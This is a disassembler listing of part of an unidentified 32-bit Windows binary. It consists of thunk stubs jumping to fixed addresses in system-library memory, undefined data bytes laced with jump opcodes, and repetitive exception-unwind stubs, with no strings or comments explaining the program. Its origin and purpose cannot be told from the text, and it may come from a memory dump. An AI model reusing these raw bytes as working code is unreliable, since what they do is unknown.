sub_436BCC proc near ; CODE XREF: ___:loc_436814p
jmp near ptr 77C21868h
sub_436BCC endp
; ---------------------------------------------------------------------------
db 0E6h, 0E9h, 7Ah
dword_436BD4 dd 28777FE2h, 32BCE990h, 0CBE97780h, 2F777FC1h, 7E8302E9h
dd 78E90977h, 0DE778031h, 3000068h, 6800h, 25E80001h, 59000000h
dd 6EE9C359h, 0A477816Ah, 0C3C3C033h, 8592E990h, 0E990777Eh
dd 777E85C3h, 7FE75FE9h, 0E9905577h, 777FF070h, 8205E990h
dd 0E9907781h, 75C6973Bh, 9819E990h, 0E99075C6h, 75C5B3F2h
dd 8843E990h, 0E99075C5h, 75C697E8h, 0B319E990h, 0E99075C4h
dd 75C54BF8h, 0A55E990h, 85E975C6h, 9275C4EEh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436C60 proc near ; CODE XREF: sub_4192C0+17Ep
nop
jmp near ptr 76D6AC1Dh
sub_436C60 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 23B9A91h, 9B52E990h, 0E990023Bh, 23B9D1Bh, 9382E990h
dd 7DE9023Ch, 0A4023D93h, 0A4FCE990h, 71E9023Dh, 0DE023E93h
dd 3F936BE9h, 0E9909202h, 23FAA85h, 0AC8BE990h, 59E9023Fh
dd 0A6024093h, 962CE990h, 0E9900240h, 24097D6h, 9346E990h
dd 78E90241h, 6C024197h, 933AE990h, 0E9900242h, 2429F2Fh
dd 43932FE9h, 0E4E9FF02h, 0B8024395h, 9322E990h, 1DE90244h
dd 0CF024593h, 0A558E990h, 0E9900245h, 245B08Dh, 930AE990h
dd 0B2E90246h, 28024699h, 469DD1E9h, 17E95D02h, 3902469Fh
dd 92F2E990h, 0E990023Bh, 23A9BABh, 92E6E990h, 0E1E9023Ah
dd 0B3023992h, 389AB4E9h, 0D5E98302h, 28023892h, 92CEE990h
dd 0E9900237h, 236996Ah, 9637E990h, 0BDE90236h, 0E023692h
dd 98C4E990h, 0E9900235h, 22D92B0h, 92AAE990h, 0E9900235h
dd 2349E17h, 349DDCE9h, 86E9CF02h, 0FF7C4CA3h, 0A297E990h
dd 0F2E97C4Ch, 0E02349Bh, 9970E990h, 0E9900234h, 2349280h
dd 9B74E990h, 0AAE90233h, 0A402339Ah, 9927E990h, 31E90233h
dd 79023397h, 3394B6E9h, 0E990DE02h, 233925Ch, 329F3DE9h
dd 72E99702h, 5802329Dh, 9BC6E990h, 0E9900232h, 2329805h
dd 329772E9h, 0E990E602h, 2329238h, 319DCCE9h, 0E9903202h
dd 2319A54h, 3198A4E9h, 0E9908802h, 2319541h, 31921BE9h
dd 0AE97402h, 7E02309Ch, 9892E990h, 0E9900230h, 2309858h
dd 309203E9h, 0E990E102h, 22F9F5Eh, 2F9C1EE9h, 0E9900202h
dd 22F9814h, 2F91EBE9h, 0E9907602h, 22E9E45h, 9CF2E990h
dd 0E990022Eh, 22E9A00h, 9796E990h, 0E990022Eh, 22E91CCh
dd 929EE990h, 7EE9022Dh, 0E001B33h, 91BAE990h, 0E9900247h
dd 251A1C2h, 91AEE990h, 0E990024Dh, 25191A8h, 91A2E990h
dd 0E9900250h, 24F9F9Eh, 9196E990h, 0E990024Fh, 24E9451h
dd 918AE990h, 0E990024Eh, 24D9DFAh, 9A6EE990h, 2AE9024Dh
dd 7024D99h, 4D96E1E9h, 0E9908802h, 247946Bh, 9D57E990h
dd 0E990024Ch, 24C985Fh, 9567E990h, 55E9024Ch, 0E8024C91h
dd 914EE990h, 49E9024Bh, 0FA024A91h, 0AD0DE990h, 0E9900249h
dd 249A9DBh, 0A6D8E990h, 0E9900249h, 249A59Fh, 912AE990h
dd 25E90249h, 0E8024891h, 0A22EE990h, 0E9907C60h, 7167D059h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436EE8 proc near ; CODE XREF: ___:0042C8F1p
nop
jmp near ptr 71AB4FD4h
sub_436EE8 endp
; ---------------------------------------------------------------------------
dw 86E9h
dd 0FA716875h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436EF4 proc near ; CODE XREF: sub_42C810+D2p
nop
jmp near ptr 71AB2BF4h
sub_436EF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436EFA proc near ; CODE XREF: sub_42CC50+E5p
; sub_42DC70+4Fp
jmp near ptr 71AB615Ah
sub_436EFA endp
; ---------------------------------------------------------------------------
db 0BBh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F00 proc near ; CODE XREF: sub_42D1A0+9Ap
; sub_42DD50+45p ...
nop
jmp near ptr 71AB428Ah
sub_436F00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F06 proc near ; CODE XREF: sub_42D580+251p
; sub_42D580+2E9p ...
nop
jmp near ptr 71AB9639h
sub_436F06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F0C proc near
nop
jmp near ptr 71AC1028h
sub_436F0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F12 proc near ; CODE XREF: sub_42CE80+71p
; sub_42DA60+50p
nop
jmp near ptr 71AB2DC0h
sub_436F12 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0A2h, 0BCh
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F1E proc near ; CODE XREF: sub_42D580+239p
nop
jmp near ptr 71AB88D3h
sub_436F1E endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 3Ch, 0BCh
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436F2A proc near ; CODE XREF: sub_42D580+187p
; sub_42D580+26Ep
jmp near ptr 71AB951Eh
sub_436F2A endp
; ---------------------------------------------------------------------------
lahf
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F30 proc near ; CODE XREF: sub_42D580+226p
nop
jmp near ptr 71AB3E00h
sub_436F30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F36 proc near ; CODE XREF: sub_42C810+B1p
nop
jmp near ptr 71AB2B66h
sub_436F36 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F3C proc near ; CODE XREF: ___:0042C93Fp
; sub_42D580+152p
nop
jmp near ptr 71AB3B91h
sub_436F3C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F42 proc near ; CODE XREF: sub_42D580+201p
nop
jmp near ptr 71AB406Ah
sub_436F42 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 0DAh, 0D4h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F4E proc near ; CODE XREF: sub_42C790+10p
nop
jmp near ptr 71AB664Dh
sub_436F4E endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h, 6Eh, 0E1h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F5A proc near ; CODE XREF: sub_4338B0+Bp
nop
jmp near ptr 71AB94DCh
sub_436F5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436F60 proc near ; CODE XREF: sub_41A6D0+92p
; sub_41A8C0+CAp ...
jmp near ptr 71AB4544h
sub_436F60 endp
; ---------------------------------------------------------------------------
db 0E3h, 90h, 0E9h
dd 71689BE4h, 0D5A7E990h, 49E97167h, 97167BCh, 67BD92E9h
dd 0E6E9C571h, 0E67167BCh
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436F84 proc near ; CODE XREF: sub_42D580+1BAp
; sub_42D580+1E0p
nop
jmp near ptr 71AB3EA1h
sub_436F84 endp
; ---------------------------------------------------------------------------
db 90h
db 0E9h
dd 716817D9h, 0D4F3E990h
db 67h, 71h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436F96 proc near ; CODE XREF: sub_42C810+53p
; sub_42C810+C3p
jmp near ptr 71ABE6EBh
sub_436F96 endp
; ---------------------------------------------------------------------------
db 0CAh
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436F9C proc near ; CODE XREF: sub_42DFD0+4Ap
jmp near ptr 71AC0BDEh
sub_436F9C endp
; ---------------------------------------------------------------------------
pop eax
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FA2 proc near
nop
jmp near ptr 71AB2A5Eh
sub_436FA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FA8 proc near ; CODE XREF: ___:0041C1B7p
; ___:0041C1CCp
nop
jmp near ptr 71B2578Ch
sub_436FA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FAE proc near ; CODE XREF: ___:0041C30Dp
; ___:0041C32Fp
nop
jmp near ptr 71B25099h
sub_436FAE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436FB4 proc near
jmp near ptr 76BF215Ah
sub_436FB4 endp
; ---------------------------------------------------------------------------
xchg eax, ebp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FBA proc near ; CODE XREF: sub_41FF90+9Bp
nop
jmp near ptr 76BF1F1Ch
sub_436FBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_436FC0 proc near ; CODE XREF: sub_41FF90+21p
nop
jmp near ptr 76BF3A9Ah
sub_436FC0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_436FC6 proc near ; CODE XREF: ___:0041B1B4p
jmp near ptr 76F36C5Bh
sub_436FC6 endp
; ---------------------------------------------------------------------------
db 11h
db 90h
db 0E9h, 7Ch, 0F2h
dword_436FD0 dd 0E9907780h, 7780F14Dh, 0F192E990h, 3DE97780h, 0C77780F3h
dd 2C7h dup(0CCCCCCCCh), 0FB988D8Dh, 1BE9FFFFh, 8DFFFC97h
dd 0FFFBC88Dh, 9710E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC9705E9h
dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC96FAh, 0FB94858Bh, 0E083FFFFh
dd 0FC08501h, 884h, 44D8B00h, 0FC96E1E9h
; ---------------------------------------------------------------------------
inc ebx
; =============== S U B R O U T I N E =======================================
SEH_4034E0 proc near ; DATA XREF: sub_4034E0+2o
mov eax, offset dword_43E470
jmp sub_4367C8
SEH_4034E0 endp
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9
jmp sub_401AD2
; ---------------------------------------------------------------------------
loc_437B7B: ; DATA XREF: ___:0043E4ECo
mov ecx, [ebp-10h]
add ecx, 52h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9Bh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E4h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 12Dh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 176h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1BFh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 208h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 251h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 29Ah
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 2E3h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 32Ch
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 375h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 3BEh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 407h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 450h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 499h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4E2h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 52Bh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 574h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 5BDh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 606h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 64Fh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 698h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 6E1h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 72Ah
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 773h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 7BCh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 805h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 84Eh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 897h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 8E0h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 929h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 972h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 9BBh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A04h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A4Dh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0A96h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0ADFh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B28h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B71h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0B9Fh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0BCDh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0BFBh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C29h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C57h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0C85h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0CB3h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0CE1h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D0Fh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D3Dh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D6Bh
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0D99h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DC7h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DF5h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E23h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E51h
jmp sub_401023
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0E7Fh
jmp sub_40206D
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 10C7h
jmp sub_40206D
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 130Fh
jmp sub_40206D
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1557h
jmp sub_40206D
; =============== S U B R O U T I N E =======================================
SEH_4036D0 proc near ; DATA XREF: sub_4036D0+2o
mov eax, offset dword_43E4C0
jmp sub_4367C8
SEH_4036D0 endp
; ---------------------------------------------------------------------------
db 0D6h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_403C00 proc near ; DATA XREF: sub_403C00+2o
mov eax, offset dword_43E700
jmp sub_4367C8
SEH_403C00 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_437FC8: ; DATA XREF: ___:0043E75Co
mov ecx, [ebp-10h]
add ecx, 1Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_403C90 proc near ; DATA XREF: sub_403C90+2o
mov eax, offset dword_43E730
jmp sub_4367C8
SEH_403C90 endp
; ---------------------------------------------------------------------------
db 13h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_437FF8: ; DATA XREF: ___:0043E794o
mov ecx, [ebp-10h]
add ecx, 1Eh
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_403D10 proc near ; DATA XREF: sub_403D10+2o
mov eax, offset dword_43E768
jmp sub_4367C8
SEH_403D10 endp
; ---------------------------------------------------------------------------
db 13h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_403D90 proc near ; DATA XREF: sub_403D90+2o
mov eax, offset dword_43E7A0
jmp sub_4367C8
SEH_403D90 endp
; ---------------------------------------------------------------------------
align 10h
mov ecx, [ebp-10h]
jmp sub_401AD2
; ---------------------------------------------------------------------------
loc_438048: ; DATA XREF: ___:0043E7FCo
mov ecx, [ebp-10h]
add ecx, 49h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 92h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DBh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 124h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Dh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1B6h
jmp sub_401AD2
; =============== S U B R O U T I N E =======================================
SEH_403E00 proc near ; DATA XREF: sub_403E00+2o
mov eax, offset dword_43E7D0
jmp sub_4367C8
SEH_403E00 endp
; ---------------------------------------------------------------------------
db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_401AD2
; ---------------------------------------------------------------------------
loc_4380C8: ; DATA XREF: ___:0043E85Co
mov ecx, [ebp-10h]
add ecx, 49h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 92h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 0DBh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 124h
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 16Dh
jmp sub_401AD2
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 1B6h
jmp sub_401AD2
; =============== S U B R O U T I N E =======================================
SEH_403EE0 proc near ; DATA XREF: sub_403EE0+2o
mov eax, offset dword_43E830
jmp sub_4367C8
SEH_403EE0 endp
; ---------------------------------------------------------------------------
db 1Dh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_403FC0 proc near ; DATA XREF: sub_403FC0+2o
mov eax, offset dword_43E890
jmp sub_4367C8
SEH_403FC0 endp
; ---------------------------------------------------------------------------
db 2Eh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438208: ; DATA XREF: ___:0043E974o
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-6Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-84h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-54h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-3Ch]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_404640 proc near ; DATA XREF: sub_404640+2o
mov eax, offset dword_43E948
jmp sub_4367C8
SEH_404640 endp
; ---------------------------------------------------------------------------
db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_43828B: ; DATA XREF: ___:0043E9FCo
lea ecx, [ebp-100h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_438296: ; DATA XREF: ___:0043EA04o
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-11Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-14Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-100h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-134h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-164h]
jmp sub_401226
; ---------------------------------------------------------------------------
lea ecx, [ebp-0E8h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_404C70 proc near ; DATA XREF: sub_404C70+8o
mov eax, offset dword_43E9D0
jmp sub_4367C8
SEH_404C70 endp
; ---------------------------------------------------------------------------
db 8Bh dup(0CCh)
; ---------------------------------------------------------------------------
loc_438530: ; DATA XREF: ___:0043EBD4o
lea ecx, [ebp-24h]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-28h]
and eax, 1
test eax, eax
jz locret_43854E
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_43854E: ; CODE XREF: ___:00438540j
retn
; =============== S U B R O U T I N E =======================================
SEH_4066E0 proc near ; DATA XREF: sub_4066E0+2o
mov eax, offset dword_43EBA8
jmp sub_4367C8
SEH_4066E0 endp
; ---------------------------------------------------------------------------
db 17h dup(0CCh)
; ---------------------------------------------------------------------------
loc_438570: ; DATA XREF: ___:0043EC0Co
lea ecx, [ebp-18Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
mov eax, [ebp-198h]
and eax, 1
test eax, eax
jz locret_438594
mov ecx, [ebp+4]
jmp sub_401226
; ---------------------------------------------------------------------------
locret_438594: ; CODE XREF: ___:00438586j
retn
; =============== S U B R O U T I N E =======================================
SEH_406890 proc near ; DATA XREF: sub_406890+2o
mov eax, offset dword_43EBE0
jmp sub_4367C8
SEH_406890 endp
; ---------------------------------------------------------------------------
db 11h dup(0CCh)
; ---------------------------------------------------------------------------
lea ecx, [ebp-454h]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4385BB: ; DATA XREF: ___:0043EC44o
lea ecx, [ebp-43Ch]
jmp sub_401226
; ---------------------------------------------------------------------------
loc_4385C6: ; DATA XREF: ___:0043EC4Co
lea ecx, [ebp-424h]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_406C30 proc near ; DATA XREF: sub_406C30+8o
mov eax, offset dword_43EC18
jmp sub_4367C8
SEH_406C30 endp
; ---------------------------------------------------------------------------
db 15h dup(0CCh)
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
add ecx, 4
jmp sub_401023
; =============== S U B R O U T I N E =======================================
SEH_407030 proc near ; DATA XREF: sub_407030+2o
mov eax, offset dword_43EC58
jmp sub_4367C8
SEH_407030 endp
; ---------------------------------------------------------------------------
align 10h
lea ecx, [ebp+8]
jmp sub_401226
; =============== S U B R O U T I N E =======================================
SEH_407660 proc near ; DATA XREF: sub_407660+8o
mov eax, offset dword_43EC88
jmp sub_4367C8
SEH_407660 endp
